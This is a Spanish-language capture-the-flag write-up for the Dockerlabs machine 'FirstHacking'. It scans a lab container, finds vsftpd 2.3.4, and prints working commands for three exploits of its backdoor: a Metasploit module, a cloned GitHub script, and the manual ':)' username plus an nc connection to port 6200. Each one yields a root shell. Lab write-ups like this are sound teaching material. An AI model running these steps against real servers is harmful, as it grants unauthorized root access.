> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/firsthacking.md).

# FirstHacking

TAG -> Dockerlabs | CTF

<details>

<summary>Datos</summary>

* **Máquina** -> FirstHacking
* **Dificultad** -> Muy Fácil
* **Creador** -> [El Pingüino de Mario](https://www.youtube.com/channel/UCGLfzfKRUsV6BzkrF1kJGsg)

</details>

Comenzamos comprobando la conectividad con la máquina objetivo mediante el comando `ping`.

```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.110 ms
RR: 	172.17.0.1
		172.17.0.2
		172.17.0.2
		172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.110/0.110/0.110/0.000 ms
```

La respuesta confirma que existe conectividad con el servidor. Además, observamos un **TTL de 64**, un valor habitual en sistemas Linux, aunque no basta por sí solo para identificar el sistema operativo: depende del TTL inicial y de los saltos de red. A continuación, creamos las carpetas de trabajo con `mkt` y realizamos un escaneo inicial.

```bash
❯ PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt

[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 21 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [21]
[+] Información de servicios y versiones:

  [+] 21/tcp    ftp       vsftpd 2.3.4

[+] Comprobando vulnerabilidades:

  [+] FTP parece seguro contra login anonymous

[*] Evidencia guardada en recognition.txt
```

El escaneo identifica el puerto **21/TCP** abierto, con el servicio **vsftpd 2.3.4**. Utilizamos `searchsploit` para buscar vulnerabilidades públicas asociadas a esa versión. La coincidencia de una versión no confirma automáticamente que la instalación sea vulnerable.

```bash
❯ searchsploit vsftpd 2.3.4
-------------------------------------------------------------------------------
 Exploit Title                                           |  Path
-------------------------------------------------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)   | unix/remote/17491.rb
-------------------------------------------------------------------------------
Shellcodes: No Results
```

En este laboratorio podemos comprobar la explotación mediante dos procedimientos. El primero utiliza **Metasploit**, de la siguiente manera:

```bash
[msf](Jobs:0 Agents:0) >> search vsftp

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

[msf](Jobs:0 Agents:0) >> use 1
[*] No payload configured, defaulting to cmd/unix/interact
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> run

[*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:38421 -> 172.17.0.2:6200) at 2024-10-16 18:49:45 -0500

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```

La salida muestra que hemos obtenido una shell con privilegios de **root**. Como alternativa, podemos utilizar Python y el siguiente recurso ([exploit](https://github.com/Hellsender01/vsftpd_2.3.4_Exploit)). Para ejecutarlo, creamos un entorno virtual de Python, instalamos la dependencia `pwntools` y seguimos estos pasos:

```bash
❯ python3 -m venv vsftpd2.4
❯ source vsftpd2.4/bin/activate
❯ pip3 install pwntools
❯ git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git
Clonando en 'vsftpd_2.3.4_Exploit'...
remote: Enumerating objects: 53, done.
remote: Counting objects: 100% (53/53), done.
remote: Compressing objects: 100% (53/53), done.
remote: Total 53 (delta 28), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (53/53), 41.30 KiB | 21.00 KiB/s, listo.
Resolviendo deltas: 100% (28/28), listo.
❯ cd vsftpd_2.3.4_Exploit
❯ python3 exploit.py 172.17.0.2
[+] Got Shell!!!
[+] Opening connection to 172.17.0.2 on port 21: Done
[*] Closed connection to 172.17.0.2 port 21
[+] Opening connection to 172.17.0.2 on port 6200: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$  
```

Esta vulnerabilidad se originó en una **distribución comprometida de vsftpd 2.3.4** que circuló en 2011, en la que se introdujo una puerta trasera de forma maliciosa. Al enviar un nombre de usuario que contiene `:)` durante la conexión FTP, la versión comprometida puede activar un servicio de puerta trasera en el puerto **6200/TCP**. Si conseguimos conectarnos a ese puerto, podemos obtener una shell con privilegios de **root**, como muestran las pruebas. **No todas las instalaciones de vsftpd 2.3.4 contienen esta puerta trasera**: depende de si se instaló la versión manipulada. Reproducimos ahora el proceso manualmente en el laboratorio.

Desde nuestra máquina atacante, iniciamos una conexión FTP con la máquina objetivo:

```bash
❯ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 2.3.4)
Name (172.17.0.2:victor): hello:)
331 Please specify the password.
Password: 
```

Tras enviar el nombre de usuario con la secuencia `:)`, la instalación comprometida puede activar el puerto **6200**. A continuación, intentamos conectarnos con `nc` desde nuestra máquina atacante para comprobar si se ha abierto la puerta trasera.

```bash
❯ nc 172.17.0.2 6200
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```

La respuesta de `id` y `whoami` confirma que la shell obtenida tiene privilegios de **root**. Con ello damos por completada la máquina **FirstHacking**.
